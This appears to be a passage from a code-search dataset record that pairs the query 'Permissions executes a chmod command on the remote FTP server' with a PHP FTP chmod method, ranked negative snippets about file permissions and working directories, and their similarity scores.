$dir_id);\r\n\t\t}\r\n\t\t$ftp->cambiarAcarpeta( $dir_id );\r\n\t}\r\n\t\r\n\tif( !$ftp->subir( $archivo, $localFile) ){\r\n\t\tprint \"no se pudo subir ($archivo a $remoteFilePath en $server)\\n\";\r\n\t\terror(\"No se pudo subir $archivo a $remoteFilePath en $server\", false);\r\n\t\tlimpiarCagadas($newId);\r\n\t\tdie();\r\n\t}else{\r\n\t\t@unlink($archivo);\r\n\t\tprint $localFile . \" subido a: $server!!<br />\";\r\n\t}\r\n\r\n\t//$ftp->logout();\r\n\t//print \"$remoteFilePath@$server@$destino <br />\";\r\n\t$_SESSION['subidos'][] = \"$remoteFilePath@$server@$destino\";\r\n}", "private function setCurrentPath(){\n\t\t$dirs = explode('/', $this->pages[0]);\n\t\t// if last character is a / then just use it\n\t\tif(empty($dirs[count($dirs)-1]) || is_null($dirs[count($dirs)-1])){\n\t\t\t$this->current_path = $this->pages[0];\n\t\t// if end of path was a filename, remove it and add a /\n\t\t} else {\n\t\t\tarray_pop($dirs);\n\t\t\t$this->current_path = implode('/', $dirs).'/';\n\t\t}\n\t}", "public function transferTo($destFolder);", "public function parent()\n {\n return $this->belongsTo('App\\Model\\Folder', 'parent_id');\n }", "private function oneLevelUp()\n {\n if ($this->currentPath == $this->rootPath) {\n return $this->rootPath;\n }\n $currentPath = rtrim($this->currentPath, '/');\n return substr($this->currentPath, 0, strrpos($currentPath, \"/\"));\n }", "function get_parent_dir() {\n $path = $_SERVER['PHP_SELF'];\n $splitPath = explode('/', $path);\n return $splitPath[1];\n }" ]
[ "0.63437635", "0.6326424", "0.6017931", "0.5846955", "0.573816", "0.5639674", "0.5616473", "0.5615455", "0.5615455", "0.55790603", "0.55448186", "0.5535434", "0.55054015", "0.54860234", "0.546812", "0.545552", "0.54062", "0.53962255", "0.5384647", "0.5341291", "0.5341089", "0.5336018", "0.5274809", "0.5248703", "0.5247085", "0.52268636", "0.5222482", "0.5216065", "0.5213887", "0.52137893", "0.51097614", "0.51097614", "0.51091", "0.5108869", "0.5108869", "0.5104265", "0.5097995", "0.50875914", "0.508585", "0.5054006", "0.50399625", "0.5028812", "0.50231665", "0.50225097", "0.50161123", "0.5013909", "0.500544", "0.5003667", "0.49993473", "0.49868596", "0.49820045", "0.49665612", "0.49658537", "0.49544138", "0.49520865", "0.4939493", "0.49230275", "0.49172693", "0.49169502", "0.49009335", "0.4892234", "0.48886716", "0.48847353", "0.48792794", "0.4851693", "0.48418343", "0.4833983", "0.4833983", "0.48303652", "0.4824637", "0.48227054", "0.48172233", "0.47971976", "0.4792444", "0.47894382", "0.4775317", "0.47709078", "0.47679147", "0.47583845", "0.47547564", "0.4753503", "0.4753503", "0.47492722", "0.47457686", "0.47421205", "0.47343233", "0.46961537", "0.467953", "0.46661872", "0.46652547", "0.4662005", "0.46619263", "0.46543762", "0.46420902", "0.46409523", "0.46389705", "0.46380526", "0.46356538", "0.46279135", "0.4624444" ]
0.61325294
2
Returns the name of the current working directory.
public function currentDir() { if ($this->getActive()) { return ftp_pwd($this->_connection); } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getWorkingDirectory(): string\n {\n if ($this->cwd === \"\") {\n return \\getcwd() ?: \"\";\n }\n\n return $this->cwd;\n }", "public function pwd(): string\n\t{\n\t\treturn $this->currentDirectory;\n\t}", "public function currentWorkingDirectory()\n {\n return getcwd();\n }", "public function getWorkDir(): string\n {\n return $this->getPwd();\n }", "public function getCurrentDirectory()\n {\n return $this->currentDirectory;\n }", "public function getDirname()\n {\n return dirname($this->getPath());\n }", "public function getCurrent()\n\t{\n\t\treturn $this->current_dir;\n\t}", "public function getDirname()\n {\n return static::dirname($this->path);\n }", "public function getCurrentDirectory();", "public function getCurrentDirectory();", "function getCurrentDirectory() {\n\t$path = dirname($_SERVER['PHP_SELF']);\n\t$position = strrpos($path,'/') + 1;\n\treturn substr($path,$position);\n}", "public function directoryName() \r\n {\r\n return $this->directory->fullName();\r\n }", "public function getcwd(): string;", "public function getWorkingDir()\n {\n return $this->_varDirectory->getAbsolutePath($this->borntechiesHelper->getCustomerImportDirectory());\n }", "public function getCurrentPath()\n {\n return str_replace($this->getRootPath(), '', $this->basePath) ?: DIRECTORY_SEPARATOR;\n }", "protected function getWorkingDir()\n {\n $userInfo = posix_getpwuid(posix_getuid());\n $workingDir = $userInfo['dir'] . '/' . self::WORKING_DIR;\n\n if (!file_exists($workingDir)) {\n @mkdir($workingDir, self::WORKING_DIR_MODE);\n \\WP_CLI::debug(\"Created working directory.\");\n }\n\n if (!is_writable($workingDir)) {\n \\WP_CLI::error(\"Working directory not writable.\");\n }\n\n return $workingDir;\n }", "public function getDirName(): string\n {\n $dirname = dirname($this->currentFileName);\n\n if ($dirname == '.') {\n return '';\n }\n\n return $dirname;\n }", "public function pwd()\n {\n if ($this->path === null) {\n $dir = $this->Folder->pwd();\n if (is_dir($dir)) {\n $this->path = $this->Folder->slashTerm($dir) . $this->name;\n }\n }\n\n return $this->path;\n }", "static function getCurrentScriptDir(){\n \n return Strings::ditchLastPiece($_SERVER['SCRIPT_NAME']);\n \n }", "function _cwd()\n\t{\n\t\t$this->_send_command('PWD', '', false);\n\t\treturn preg_replace('#^[0-9]{3} \"(.+)\" .+\\r\\n#', '\\\\1', $this->_check_command(true));\n\t}", "public function pwd(): string\n {\n\n if (is_null($this->_pwd) || empty($this->_pwd))\n {\n $pwd = $this->_realpath(\".\");\n $this->_pwd = explode(\"/\", $pwd);\n }\n if (count($this->_pwd) > 1)\n {\n return implode(\"/\", $this->_pwd);\n } else\n {\n return \"/\";\n }\n }", "function dir_name() {\n\t\treturn $this->_dir_name;\n\t}", "public function dir() {\n\t\treturn dirname($this->_path) . '/';\n\t}", "private static function getCurrentFolder() : string {\n return self::getPath() . '/' . date('Y-M');\n }", "public function getWorkingFolder()\n {\n return $this->workingFolder;\n }", "public function cwd() {\n\t\t$cwd = ftp_pwd( $this->link );\n\n\t\tif ( $cwd ) {\n\t\t\t$cwd = trailingslashit( $cwd );\n\t\t}\n\n\t\treturn $cwd;\n\t}", "public function getDirname();", "public function getDirName() {\n\t\treturn dirname($this->getPath());\n\t}", "public static function getBaseDir() {\n\t return self::$baseDir ??\n\t (self::$baseDir = dirname(getcwd()));\n\t}", "public function getAppBaseDirName(){\n return $this->getSite()->getParent()->getAppDir(true);\n }", "public function getGitDirectory() : string\n {\n return !empty($this->settings['git-directory'])\n ? dirname($this->path) . DIRECTORY_SEPARATOR . $this->settings['git-directory']\n : getcwd() . DIRECTORY_SEPARATOR . '.git';\n }", "function _cwd()\n\t{\n\t\treturn @ftp_pwd($this->connection);\n\t}", "function getParentDir()\n {\n $parent = $this->getParent();\n if (trim($parent) != '')\n return ucwords($parent) . '\\\\';\n return $parent;\n }", "public function cwd()\n {\n return ssh2_sftp_realpath($this->sftpHandle, \".\");\n }", "public static function get_current_name_space()\n\t{\n\t\treturn self::$s_name_space;\n\t}", "public function getBaseDirectory(): string\n {\n return $this->baseDirectory;\n }", "public function getBaseDirectory(): string\n {\n return $this->file->getBaseDirectory();\n }", "public function getDirName()\n {\n return $this->dirName;\n }", "public function getCurrentPath()\n {\n return $this->path;\n }", "public function name() {\n\t\treturn basename($this->path);\n\t}", "public static function path()\n {\n return class_basename(get_called_class());\n }", "public static function get_directory(): string {\n return Simply_Static\\Options::instance()->get('local_dir') ?: '';\n }", "protected function getCurrentAbsolutePath() {\n\t\treturn dirname(SS_ClassLoader::instance()->getManifest()->getItemPath(get_class($this)));\n\t}", "public function getDirName(): string\n {\n return $this->dirName;\n }", "public static function get_directory() : string {\r\n\t\treturn Core::get_app_path( self::$directory );\r\n\t}", "public function getRoot(): string\n {\n return (string)$this->env['SCRIPT_NAME'];\n }", "public function getDirectory()\n {\n /* get directory from filename */\n $directory = dirname($this->getFileName());\n /* remove current working directory */\n $directory = str_replace(getcwd(), '', $directory);\n /* replace Windows-style directory seperators */\n $directory = str_replace('\\\\', '/', $directory);\n /* remove leading '/' */\n if ($directory[0] === '/') {\n $directory = mb_substr($directory, 1);\n }\n return $directory;\n }", "protected function getCurrentAbsolutePath() \n\t{\n\t\t$filename = self::$test_class_manifest->getItemPath(get_parent_class($this));\n\t\tif(!$filename) throw new LogicException(\"getItemPath returned null for \" . get_parent_class($this));\n\t\treturn dirname($filename);\n\t}", "function getFileDirectory() {\n\t\treturn dirname($this->getFilename());\n\t}", "public function getDirectoryName(): string {\n\n\t\treturn $this->directoryName;\n\t}", "public static function getWorkingDir()\n {\n return Mage::getBaseDir('var') . DS . 'storelocator' . DS;\n }", "public function getDirectory()\n {\n return dirname($this->file);\n }", "public function getDirectory(): string\n {\n return $this->directory;\n }", "public function getDirectory(): string\n {\n return $this->directory;\n }", "function current_dir() {\r\n\r\n if ( !empty($_SERVER['PHP_SELF']) || !empty($_SERVER['SCRIPT_NAME']) ) {\r\n\r\n $server_root = \"\";\r\n\r\n if ( !empty($_SERVER['PHP_SELF']) ) {\r\n $script = $_SERVER['PHP_SELF'];\r\n }\r\n else {\r\n $script = $_SERVER['SCRIPT_NAME'];\r\n }\r\n\r\n $subDirList = explode(\"/\", $script);\r\n array_pop($subDirList);\r\n\r\n $server_root = implode(\"/\", $subDirList) . \"/\";\r\n }\r\n else {\r\n $server_root = \"\";\r\n }\r\n\r\n return $server_root;\r\n}", "public function getBaseDirectory(): string\n {\n if ( ! $this->baseDirectory) {\n $this->baseDirectory = dirname($this->getPath());\n }\n\n return $this->baseDirectory;\n }", "public function getDirectory()\n {\n return $this->_path['dirname'];\n }", "public function get_base_dir()\r\n\t\t{\r\n\t\t\treturn str_replace( \"/\", DIRECTORY_SEPARATOR, __DIR__ . \"/../../\" . self::HOME_DIR );\r\n\t\t}", "public function getPathname(): string\n {\n return $this->directory->getPath().'/'.$this->filename;\n }", "function getcwd(): string\n{\n error_clear_last();\n $safeResult = \\getcwd();\n if ($safeResult === false) {\n throw DirException::createFromPhpError();\n }\n return $safeResult;\n}", "private function getProjectDir()\n {\n return $this->projectDir ?: getcwd();\n }", "public function getCurrentUser(): string\n {\n $this->executor->execute('whoami', [], __DIR__, []);\n\n return trim($this->output->getBuffer());\n }", "public function getCurrentContext()\n\t{\n\t\treturn $this->context_name;\n\t}", "function get_current_log_dir()\n{\n $date = date('Ymd');\n $dir = di('config')->application->logDir;\n return $dir . $date . '/';\n}", "protected function getFilesystemPath()\n {\n return dirname($this->path);\n }", "public function getCurrentSiteName(): string {\n try {\n return $this->findCurrentSite()->getSiteName();\n } catch (\\Exception $e) {\n $this->logger->error((string) $e);\n\n return $_SERVER['SITE_NAME'] ?? '[name unavailable]';\n }\n }", "public function getCurrentPath() {\n $url = $this->getSession()->getCurrentUrl();\n $parsed_url = parse_url($url);\n $path = trim($parsed_url['path'], '/');\n\n return $path;\n }", "public function GetName()\n\t{\n\t\tif (!empty($this->path))\n\t\t\treturn basename($this->path);\n\n\t\treturn '';\n\t}", "public function getMainDirectory()\n {\n return $this->getDirectory();\n }", "public function getBasePath()\n {\n if ($this->basePath === null) {\n $this->basePath = dirname(getcwd());\n }\n\n return $this->basePath;\n }", "public function getPath()\r\n {\r\n return pathinfo($this->filename, PATHINFO_DIRNAME);\r\n }", "public static function basedir() {\n\t\t$directory = trim($_SERVER['SUBDIRECTORY'], '/');\n\t\t$directory = str_replace('\\\\', '/', $directory);\n\n\t\treturn '/' . $directory;\n\t}", "public function name() {\n\t\t// @version 1.2.0 Use filename then fallback to path\n\t\t$path = $this->data('name') ?: $this->path();\n\n\t\treturn pathinfo($path, PATHINFO_FILENAME);\n\t}", "public static function getRoot(): string {\n if (! self::$_root) {\n self::$_root = dirname(dirname(dirname(__FILE__)));\n }\n \n return self::$_root;\n }", "public function getChrootDir()\n {\n return $this->chrootDir;\n }", "protected function _dir(): string\n {\n if ($container = $this->_container()) {\n assert($container->hasId());\n return \"{$container}/\" . static::DIR;\n }\n return static::DIR;\n }", "abstract public function getCurrentPath();", "public static function getFilePath()\n\t{\n\t\treturn __FILE__;\n\t}", "public static function getFilePath()\n\t{\n\t\treturn __FILE__;\n\t}", "function getFilename()\n {\n return __FILE__;\n }", "public function getPathname()\n {\n return $this->pathname;\n }", "public function getPathname()\n {\n return $this->pathname;\n }", "public function getPathname()\n {\n return $this->pathname;\n }", "protected function getSourceDir() : string\n {\n return $this->sourceDir;\n }", "protected function getRootDir()\n {\n return $this->appConfig->getRootDir();\n }", "protected function getBaseDir()\n {\n $ref = new \\ReflectionObject($this);\n\n return realpath(dirname(dirname($ref->getFileName())));\n }", "public function dirname() {\n return $this->dirname;\n }", "public function getBaseDir()\n\t{\n\t\treturn $this->baseDir;\n\t}", "public static function dirRoot()\n\t{\n\t\treturn defined('DIR_ROOT') ? DIR_ROOT : dirname(__DIR__);\n\t}", "public static function scriptDirectory(): string\n\t{\n\t\treturn static::$scriptDirectory;\n\t}", "public function getRootDir()\n {\n return $this->server['DOCUMENT_ROOT'];\n }", "public function getProjectDir(): string\n {\n return dirname(__DIR__);\n }", "public function getBaseName() {\n\t\treturn basename($this->getPath());\n\t}", "function get_parent_dir() {\n $path = $_SERVER['PHP_SELF'];\n $splitPath = explode('/', $path);\n return $splitPath[1];\n }", "public function getPath() {\n\t\treturn $this->current_path;\n\t}", "public function current_path()\n\t{\n\t\t$url = parse_url($this->connection()->get('url'));\n\n\t\treturn $url['path'].(isset($url['query']) ? '?'.$url['query'] : '');\n\t}", "public function getPathName()\n {\n return $this->getFullPath();\n }", "public function root()\n {\n if ($this['environment']->has('SCRIPT_FILENAME') === false) {\n throw new \\RuntimeException(\n 'The \"`\"SCRIPT_FILENAME\" server variable could not be found.\n It is required by \"Workbench::root()\".'\n );\n }\n\n return dirname($this['environment']->get('SCRIPT_FILENAME'));\n }", "function dirPath() { return (\"../\"); }", "public function local_filename()\n\t{\n if (!$this->local_file) {\n $this->get_local_file();\n }\n return $this->local_file;\n\t}", "public function getFilename()\n {\n return __FILE__;\n }" ]
[ "0.79164547", "0.78874016", "0.762277", "0.73921686", "0.7390609", "0.7205054", "0.71544355", "0.7120324", "0.7111741", "0.7111741", "0.7074678", "0.7020014", "0.6942748", "0.690555", "0.69036776", "0.68756026", "0.6797786", "0.6779633", "0.67287", "0.66701734", "0.66419214", "0.66293365", "0.6611258", "0.66098106", "0.65325624", "0.65275073", "0.65250397", "0.6469826", "0.643767", "0.64069176", "0.6390593", "0.6384254", "0.6352052", "0.6351636", "0.6337477", "0.6298713", "0.6287999", "0.62819517", "0.6256704", "0.62467253", "0.6234838", "0.62324744", "0.622485", "0.6216527", "0.6174541", "0.6171428", "0.6163935", "0.61594766", "0.6154127", "0.61422396", "0.61387724", "0.61366963", "0.6130426", "0.6130426", "0.6126187", "0.6117213", "0.6111255", "0.610618", "0.6096575", "0.6089224", "0.60782427", "0.6070803", "0.6041671", "0.6040978", "0.6040494", "0.60163337", "0.60121274", "0.60085034", "0.5968245", "0.5967778", "0.59635174", "0.5953647", "0.59469944", "0.5945797", "0.5938214", "0.5933044", "0.59275204", "0.59103376", "0.59103376", "0.5892015", "0.5890668", "0.5890668", "0.5890668", "0.5878774", "0.5878459", "0.5874924", "0.5866613", "0.58602977", "0.5857154", "0.58447504", "0.5842223", "0.58407557", "0.5829125", "0.5824343", "0.58215547", "0.5811564", "0.5806555", "0.5801828", "0.57998514", "0.57913893", "0.57863617" ]
0.0
-1
Permissions executes a chmod command on the remote FTP server.
public function chmod($file, $mode) { if ($this->getActive()) { // Change the desired file's permissions if (ftp_chmod($this->_connection, $mode, $file)) { return true; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function ftp_chmod($filename, $chmod = 0777) {\r\n\t\t//$chmod = (int) $chmod;\r\n\t\t\r\n\t\t$filename = dzz_ftp::clear($filename);\r\n\t\tif(function_exists('ftp_chmod')) {\r\n\t\t\treturn @ftp_chmod($this->connectid, $chmod, $filename);\r\n\t\t} else {\r\n\t\t\treturn @ftp_site($this->connectid, 'CHMOD '.$chmod.' '.$filename);\r\n\t\t}\r\n\t}", "function chmod($file,$permission) \n {\n \t $cmd = \"CHMOD \" . decoct($permission) . \" \" . $file;\n return $this->sendCommand($cmd); \n }", "function chmod($target, $permissions) {\r\n\t\tif ( is_array($target) ) {\r\n\t\t\tfor ( $i = 0; $i < count($target); $i++ ) {\r\n\t\t\t\t$res = $this->chmod($target[$i], $permissions);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$res = $this->site(\"CHMOD \" . $permissions . \" \" . $target);\r\n\t\t\tif ( !$res ) {\r\n\t\t\t\tthrow new ftpChmodException($target, $permissions);\r\n\t\t\t} else {\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t}\r\n\t}", "public function chmod($fileName, $permissions)\n\t{\n\t\t$targetFile = $this->translatePath($fileName);\n\n\t\t// Prefer the SFTP way, if available\n\t\tif (function_exists('ssh2_sftp_chmod'))\n\t\t{\n\t\t\treturn @ssh2_sftp_chmod($this->sftpHandle, $targetFile, $permissions);\n\t\t}\n\t\t// Otherwise fall back to the (likely to fail) raw command mode\n\t\telse\n\t\t{\n\t\t\t$cmd = 'chmod ' . decoct($permissions) . ' ' . escapeshellarg($targetFile);\n\t\t\treturn @ssh2_exec($this->connection, $cmd);\n\t\t}\n\t}", "function _chmod($file, $perms)\n\t{\n\t\tif (function_exists('ftp_chmod'))\n\t\t{\n\t\t\t$err = @ftp_chmod($this->connection, $perms, $file);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Unfortunatly CHMOD is not expecting an octal value...\n\t\t\t// We need to transform the integer (which was an octal) to an octal representation (to get the int) and then pass as is. ;)\n\t\t\t$chmod_cmd = 'CHMOD ' . base_convert($perms, 10, 8) . ' ' . $file;\n\t\t\t$err = $this->_site($chmod_cmd);\n\t\t}\n\n\t\treturn $err;\n\t}", "function ftp_chmod_son($filename,$chmod = 0777){\r\n\t\t//$chmod = (int) $chmod;\r\n\t\t\r\n\t\t$filename = dzz_ftp::clear($filename);\r\n\t\t//检查子目录\r\n\t\tif($list=self::ftp_list($filename,0)){\r\n\t\t\tforeach($list as $value){\r\n\t\t\t\tif($value['type']=='folder'){\r\n\t\t\t\t\tself::ftp_chmod_son($value['path'],$chmod);\r\n\t\t\t\t}else{\r\n\t\t\t\t\tself::ftp_chmod($value['path'],$chmod);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn self::ftp_chmod($filename,$chmod);\r\n\t}", "public function chmod(string $path, int $mode): Promise;", "function FileChmod()\n{\t\n\t$sFileUrl = '';\n\t\n\tif(isset($_REQUEST['file-path']) === false)\n\t{\n\t\techo '<fail>no file path</fail>';\n\t\treturn;\n\t}\n\t$sFileUrl = trim($_REQUEST['file-path']);\n\t\n\t\n\t$nChmodParam = 0755;\n\t\n\tif(isset($_REQUEST['chmod']) === false)\n\t{\n\t\techo '<fail>no chmodparametr</fail>';\n\t\treturn;\n\t}\n\t$nChmodParam = trim($_REQUEST['chmod']);\n\t\n\tif($nChmodParam[0] === '0')\n\t{\n\t\t$nChmodParam[0] = ' ';\n\t\t$nChmodParam = trim($nChmodParam);\n\t}\n\t\n\t$nChmodParam = (int) $nChmodParam;\n\t$nChmodParam = octdec($nChmodParam);\n\n\t\n\t\n\t\n\t$bIsChmodCreate = true;\n\t$bIsChmodCreate = chmod($sFileUrl, $nChmodParam);\n\t\n\tif($bIsChmodCreate === true)\n\t{\n\t\techo '<correct>update chmod correct</correct>';\n\t} else\n\t{\n\t\techo '<fail>cant create chmod</fail>';\n\t}\n}", "function _chmod($file, $perms)\n\t{\n\t\t// Unfortunatly CHMOD is not expecting an octal value...\n\t\t// We need to transform the integer (which was an octal) to an octal representation (to get the int) and then pass as is. ;)\n\t\treturn $this->_send_command('SITE CHMOD', base_convert($perms, 10, 8) . ' ' . $file);\n\t}", "public function chmod(String $mode='')\n\t{\n\t\tif (!$this->exists()) {\n\t\t\treturn;\n\t\t}\n\n\t\treturn $this->permissionInstance()->changeMode($this, $mode);\n\t}", "public function gethchmod($file)\n {\n }", "function chmod_shell($file, $perms) {\n\t\n\t$check = chmod($file, $perms);\n\t\n\tif($check == TRUE)\n\t\t$control = \"<center><font size='4' color='green' face='Verdana'>CHMOD [OK]</font></center>\";\n\telse\n\t\t$control = \"<center><font size='4' color='red' face='Verdana'>CHMOD [ERROR]</font></center>\";\n\t\n\treturn $control;\n}", "public function chmod(string $path, int $mode): void\n {\n if (!ssh2_sftp_chmod($this->_getSFTPResource(), $this->_getPath($path), $mode))\n {\n throw new SFTPException('could not change rights');\n }\n }", "public function chmod($path, $umask);", "public static function chmod($path, $permission) { \n chmod($path,$permission);\t\t\n }", "function apply_chmod($install_mode = true)\n\t{\n\t\tglobal $chmod_777, $chmod_666;\n\t\tglobal $lang, $language;\n\n\t\t$img_ok = str_replace('alt=\"\" title=\"\"', 'alt=\"' . $lang['CHMOD_OK'] . '\" title=\"' . $lang['CHMOD_OK'] . '\"', $this->img_ok);\n\t\t$img_error = str_replace('alt=\"\" title=\"\"', 'alt=\"' . $lang['CHMOD_Error'] . '\" title=\"' . $lang['CHMOD_Error'] . '\"', $this->img_error);\n\n\t\t$chmod_errors = false;\n\t\t$file_exists_errors = false;\n\t\t$read_only_errors = false;\n\t\t$report_string_append = '';\n\n\t\t$chmod_items_array = array($chmod_777, $chmod_666);\n\t\t$chmod_values_array = array(0777, 0666);\n\t\t$chmod_langs_array = array($lang['CHMOD_777'], $lang['CHMOD_666']);\n\t\t$chmod_images_array = array('./style/folder_blue.png', './style/folder_red.png');\n\n\t\t$table_output = '';\n\t\tif ($install_mode)\n\t\t{\n\t\t\t$this->output_lang_select(THIS_FILE);\n\t\t\t$table_output .= '<form action=\"install.' . PHP_EXT . '\" name=\"lang\" method=\"post\">' . \"\\n\";\n\t\t}\n\t\t$table_output .= '<table class=\"forumline\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\">' . \"\\n\";\n\t\t$table_output .= '<tr><td class=\"row-header\" colspan=\"3\"><span>' . $lang['CHMOD_Files'] . '</span></td></tr>' . \"\\n\";\n\n\t\tfor ($i = 0; $i < sizeof($chmod_items_array); $i++)\n\t\t{\n\t\t\tif (!empty($chmod_items_array[$i]))\n\t\t\t{\n\t\t\t\t$table_output .= '<tr><th colspan=\"3\"><span class=\"gen\"><b>' . $chmod_langs_array[$i] . '</b></span></th></tr>' . \"\\n\";\n\t\t\t\t$table_output .= '<tr><td class=\"row1 row-center\" rowspan=\"' . (sizeof($chmod_items_array[$i]) + 1) . '\" width=\"90\"><img src=\"' . $chmod_images_array[$i] . '\" alt=\"' . $chmod_langs_array[$i] . '\" title=\"' . $chmod_langs_array[$i] . '\" /></td></tr>' . \"\\n\";\n\t\t\t\tfor ($j = 0; $j < sizeof($chmod_items_array[$i]); $j++ )\n\t\t\t\t{\n\t\t\t\t\t$report_string = '';\n\t\t\t\t\t$errored = false;\n\t\t\t\t\tif (!file_exists($chmod_items_array[$i][$j]))\n\t\t\t\t\t{\n\t\t\t\t\t\t$errored = true;\n\t\t\t\t\t\t$report_string = $lang['CHMOD_File_NotExists'];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t@chmod($chmod_items_array[$i][$j], $chmod_values_array[$i]);\n\t\t\t\t\t\tif (!is_writable($chmod_items_array[$i][$j]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$errored = true;\n\t\t\t\t\t\t\t$report_string = $lang['CHMOD_File_Exists_Read_Only'];\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$report_string = $lang['CHMOD_File_Exists'];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($errored)\n\t\t\t\t\t{\n\t\t\t\t\t\t$report_string_append = '&nbsp;<span class=\"genmed\" style=\"color: ' . $this->color_error . ';\"><b>' . $report_string . '</b></span>';\n\t\t\t\t\t\t$table_output .= '<tr><td class=\"row1\" width=\"40%\"><span class=\"gen\" style=\"color: ' . $this->color_error . ';\"><b>' . $chmod_items_array[$i][$j] . '</b></span></td><td class=\"row2\">' . $img_error . $report_string_append . '</td></tr>' . \"\\n\";\n\t\t\t\t\t\t$chmod_errors = true;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$report_string_append = '&nbsp;<span class=\"genmed\" style=\"color: ' . $this->color_ok . ';\">' . $report_string . '</span>';\n\t\t\t\t\t\t$table_output .= '<tr><td class=\"row1\" width=\"40%\"><span class=\"gen\" style=\"color: ' . $this->color_ok . ';\"><b>' . $chmod_items_array[$i][$j] . '</b></span></td><td class=\"row2\">' . $img_ok . $report_string_append . '</td></tr>' . \"\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ($install_mode)\n\t\t{\n\t\t\t$table_output .= '<tr><th colspan=\"3\"><span class=\"gen\"><b>&nbsp;</b></span></th></tr>' . \"\\n\";\n\t\t\t$s_hidden_fields = '';\n\t\t\t$s_hidden_fields .= '<input type=\"hidden\" name=\"install_step\" value=\"1\" />' . \"\\n\";\n\t\t\t$s_hidden_fields .= '<input type=\"hidden\" name=\"lang\" value=\"' . $language . '\" />' . \"\\n\";\n\t\t\t$table_output .= '<tr><td class=\"row2 row-center\" colspan=\"3\"><span style=\"color:' . ($chmod_errors ? $this->color_error : $this->color_ok) . ';\"><b>' . ($chmod_errors ? ($lang['CHMOD_Files_Explain_Error'] . ' ' . $lang['Confirm_Install_anyway']) : ($lang['CHMOD_Files_Explain_Ok'] . ' ' . $lang['Can_Install'])) . '</b></span></td></tr>' . \"\\n\";\n\t\t\t$table_output .= '<tr><td class=\"cat\" colspan=\"3\" align=\"center\" style=\"border-width: 0px;\">' . $s_hidden_fields . '<input class=\"mainoption\" type=\"submit\" value=\"' . ($chmod_errors ? $lang['Start_Install_Anyway'] : $lang['Start_Install']) . '\" /></td></tr>' . \"\\n\";\n\n\t\t\t$table_output .= '</table>' . \"\\n\";\n\t\t\t$table_output .= '</form>' . \"\\n\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$table_output .= '<tr><td class=\"cat\" colspan=\"3\"><span class=\"gen\"><b>&nbsp;</b></span></td></tr>' . \"\\n\";\n\t\t\t$table_output .= '</table>' . \"\\n\";\n\t\t}\n\n\t\techo($table_output);\n\t\treturn $chmod_errors;\n\t}", "public function getchmod($file)\n {\n }", "public function getchmod($file)\n {\n }", "public function getchmod($file)\n {\n }", "public function getchmod($file)\n {\n }", "public function getchmod($file)\n {\n }", "public function getchmod($file) {\n\t\tif( $this->authorized() ) {\n\t\t\treturn parent::getchmod( $file );\n\t\t} else{\n\t\t\treturn false;\n\t\t}\n\t}", "function chmodRecursive($target, $permissions) {\r\n\t\tif ( !self::$_dir_permissions ) {\r\n\t\t\tself::$_dir_permissions = $this->_makeDirPermissions($permissions);\r\n\t\t}\r\n\t\t\r\n\t\tif ( is_array($target) ) {\r\n\t\t\tfor ( $i = 0; $i < count($target); $i++ ) {\r\n\t\t\t\t$res = $this->chmodRecursive($target[$i], $permissions);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$remote_path = $this->_constructPath($target);\r\n\t\t\t\r\n\t\t\t// Chmod the directory itself\r\n\t\t\t$result = $this->chmod($remote_path, self::$_dir_permissions);\r\n\t\t\t\r\n\t\t\t// If $remote_path last character is not a slash, add one\r\n\t\t\tif ( substr($remote_path, strlen($remote_path) - 1) != \"/\" ) {\r\n\t\t\t\t$remote_path .= \"/\";\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$dir_list = array();\r\n\t\t\t$mode = self::LS_MODE_DIR_ONLY;\r\n\t\t\t$dir_list = $this->ls($remote_path, $mode);\r\n\t\t\tforeach ( $dir_list as $dir_entry ) {\r\n\t\t\t\tif ( $dir_entry['name'] == '.' || $dir_entry['name'] == '..' ) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$remote_path_new = $remote_path . $dir_entry[\"name\"] . \"/\";\r\n\t\t\t\t\r\n\t\t\t\t// Chmod the directory we're about to enter\r\n\t\t\t\t$result = $this->chmod($remote_path_new, self::$_dir_permissions);\r\n\t\t\t\t$result = $this->chmodRecursive($remote_path_new, $permissions);\r\n\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$file_list = array();\r\n\t\t\t$mode = self::LS_MODE_FILES_ONLY;\r\n\t\t\t$file_list = $this->ls($remote_path, $mode);\r\n\t\t\t\r\n\t\t\tforeach ( $file_list as $file_entry ) {\r\n\t\t\t\t$remote_file = $remote_path . $file_entry[\"name\"];\r\n\t\t\t\t$result = $this->chmod($remote_file, $permissions);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "function phpbb_chmod($filename, $perms = CHMOD_READ)\n{\n\tstatic $_chmod_info;\n\n\t// Return if the file no longer exists.\n\tif (!file_exists($filename))\n\t{\n\t\treturn false;\n\t}\n\n\t// Determine some common vars\n\tif (empty($_chmod_info))\n\t{\n\t\tif (!function_exists('fileowner') || !function_exists('filegroup'))\n\t\t{\n\t\t\t// No need to further determine owner/group - it is unknown\n\t\t\t$_chmod_info['process'] = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tglobal $phpbb_root_path, $phpEx;\n\n\t\t\t// Determine owner/group of common.php file and the filename we want to change 